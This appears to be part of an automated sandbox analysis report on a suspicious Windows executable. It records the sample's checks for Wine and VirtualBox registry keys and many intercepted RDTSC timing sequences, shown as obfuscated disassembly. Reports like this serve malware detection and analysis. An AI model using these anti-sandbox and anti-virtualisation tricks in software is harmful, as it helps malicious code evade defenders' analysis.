Source: C:\Users\user\Desktop\iaLId0uLUw.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 3C942F second address: 3C9433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 540B9A second address: 540BAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FA948B16F76h 0x0000000a popad 0x0000000b pushad 0x0000000c jns 00007FA948B16F76h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 540BAE second address: 540BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA948C4CB31h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 540BC4 second address: 540BCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 540BCC second address: 540BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 540BD0 second address: 540BE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F81h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 541036 second address: 54103C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 54103C second address: 541042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 541042 second address: 541046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 541046 second address: 54104A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 54104A second address: 541050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 541050 second address: 541059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 543ADA second address: 543AFB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007FA948C4CB35h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 543AFB second address: 543B3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007FA948B16F81h 0x0000000b pop edx 0x0000000c popad 0x0000000d nop 0x0000000e mov esi, dword ptr [ebp+122D3ACAh] 0x00000014 push 00000000h 0x00000016 mov edx, dword ptr [ebp+122D2A9Eh] 0x0000001c push BFB0C46Fh 0x00000021 pushad 0x00000022 jmp 00007FA948B16F7Fh 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 543B3C second address: 543B94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 404F3C11h 0x0000000e call 00007FA948C4CB2Eh 0x00000013 stc 0x00000014 pop ecx 0x00000015 push 00000003h 0x00000017 sub dword ptr [ebp+122D2746h], eax 0x0000001d je 00007FA948C4CB2Ch 0x00000023 mov dword ptr [ebp+122D2B11h], ebx 0x00000029 push 00000000h 0x0000002b mov edx, dword ptr [ebp+122D382Fh] 0x00000031 push 00000003h 0x00000033 jmp 00007FA948C4CB32h 0x00000038 push A33F3008h 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 push edx 0x00000041 pop edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 543B94 second address: 543C0D instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA948B16F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007FA948B16F8Ch 0x00000010 jmp 00007FA948B16F86h 0x00000015 popad 0x00000016 xor dword ptr [esp], 633F3008h 0x0000001d mov edi, dword ptr [ebp+122D39F6h] 0x00000023 lea ebx, dword ptr [ebp+1244E7F3h] 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007FA948B16F78h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 00000018h 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 push eax 0x00000044 pushad 0x00000045 push esi 0x00000046 pushad 0x00000047 popad 0x00000048 pop esi 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007FA948B16F87h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 543CF1 second address: 543D45 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA948C4CB26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D2CE2h], ebx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FA948C4CB28h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 jmp 00007FA948C4CB32h 0x00000035 push F2FE720Eh 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jo 00007FA948C4CB26h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 543D45 second address: 543D4B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 543D4B second address: 543D5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA948C4CB2Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 543D5C second address: 543E14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 0D018E72h 0x00000012 jmp 00007FA948B16F7Ch 0x00000017 push 00000003h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FA948B16F78h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 call 00007FA948B16F7Eh 0x00000038 mov dword ptr [ebp+122D1E03h], eax 0x0000003e pop esi 0x0000003f push 00000000h 0x00000041 mov di, B7B5h 0x00000045 push 00000003h 0x00000047 jno 00007FA948B16F8Eh 0x0000004d call 00007FA948B16F79h 0x00000052 pushad 0x00000053 push ecx 0x00000054 jmp 00007FA948B16F89h 0x00000059 pop ecx 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 543E14 second address: 543E69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 ja 00007FA948C4CB30h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007FA948C4CB34h 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a jno 00007FA948C4CB2Ch 0x00000020 jnp 00007FA948C4CB28h 0x00000026 popad 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b jo 00007FA948C4CB2Eh 0x00000031 push ebx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 543E69 second address: 543E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 jmp 00007FA948B16F85h 0x0000000b lea ebx, dword ptr [ebp+1244E7FEh] 0x00000011 mov esi, dword ptr [ebp+122D3AE6h] 0x00000017 xchg eax, ebx 0x00000018 jbe 00007FA948B16F84h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 543E9B second address: 543E9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 543E9F second address: 543EAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 543EAC second address: 543EC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 543EC1 second address: 543EC6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5659C6 second address: 5659F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA948C4CB26h 0x0000000a popad 0x0000000b push ebx 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop ebx 0x0000000f jmp 00007FA948C4CB39h 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 push edx 0x00000018 pop edx 0x00000019 push edi 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 563A78 second address: 563A8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F83h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5642FA second address: 564300 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 564300 second address: 564306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 564306 second address: 56430A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5645AB second address: 5645B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007FA948B16F76h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5645B7 second address: 5645F0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007FA948C4CB47h 0x0000000f pushad 0x00000010 jns 00007FA948C4CB26h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 564720 second address: 564726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 559EF7 second address: 559F0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA948C4CB2Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 559F0B second address: 559F1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA948B16F80h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 559F1F second address: 559F29 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 564B53 second address: 564B62 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FA948B16F76h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 565529 second address: 56552D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 56552D second address: 56553C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FA948B16F76h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 56553C second address: 565554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA948C4CB2Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 565877 second address: 56587B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 567A15 second address: 567A19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 567A19 second address: 567A23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 567A23 second address: 567A3A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA948C4CB2Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 567A3A second address: 567A40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 567A40 second address: 567A5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA948C4CB36h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 566850 second address: 566856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 566856 second address: 566880 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA948C4CB33h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 568439 second address: 56843F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 56843F second address: 568443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 56CBCD second address: 56CBD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA948B16F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 56CBD7 second address: 56CBE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB2Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5701CE second address: 5701D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5701D2 second address: 5701D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5701D8 second address: 5701E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FA948B16F76h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 53A9AD second address: 53A9B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 53A9B5 second address: 53A9C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 53A9C4 second address: 53A9CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 56F6BC second address: 56F6C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 56F6C0 second address: 56F6C6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 573586 second address: 573590 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FA948B16F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 573A17 second address: 573A33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 573C90 second address: 573C96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5743CF second address: 5743D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 574621 second address: 574625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 574625 second address: 57462B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 57462B second address: 574631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 574631 second address: 574635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 574635 second address: 574643 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 574643 second address: 574647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 576E3A second address: 576E44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FA948B16F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 576CCF second address: 576CD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 576E44 second address: 576E95 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA948B16F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edi, dword ptr [ebp+122D3902h] 0x00000013 mov dword ptr [ebp+122D2AB2h], edx 0x00000019 push 00000000h 0x0000001b jmp 00007FA948B16F86h 0x00000020 push 00000000h 0x00000022 mov dword ptr [ebp+122D1E3Bh], esi 0x00000028 xchg eax, ebx 0x00000029 jmp 00007FA948B16F7Dh 0x0000002e push eax 0x0000002f push edi 0x00000030 push eax 0x00000031 push edx 0x00000032 jng 00007FA948B16F76h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 576CD5 second address: 576CE4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 577F68 second address: 577FF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 push eax 0x00000007 jp 00007FA948B16F7Eh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FA948B16F78h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov edi, 4F625769h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 call 00007FA948B16F78h 0x00000037 pop eax 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc eax 0x00000045 push eax 0x00000046 ret 0x00000047 pop eax 0x00000048 ret 0x00000049 mov di, 3230h 0x0000004d call 00007FA948B16F7Dh 0x00000052 jmp 00007FA948B16F7Bh 0x00000057 pop edi 0x00000058 push 00000000h 0x0000005a movsx esi, cx 0x0000005d push eax 0x0000005e pushad 0x0000005f push eax 0x00000060 jns 00007FA948B16F76h 0x00000066 pop eax 0x00000067 jnp 00007FA948B16F7Ch 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 57A1BA second address: 57A236 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c sbb esi, 1CBC47A3h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FA948C4CB28h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 jnp 00007FA948C4CB3Fh 0x00000036 xchg eax, ebx 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a ja 00007FA948C4CB26h 0x00000040 jmp 00007FA948C4CB2Fh 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 57A236 second address: 57A23C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 57A23C second address: 57A24D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 579F95 second address: 579F9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
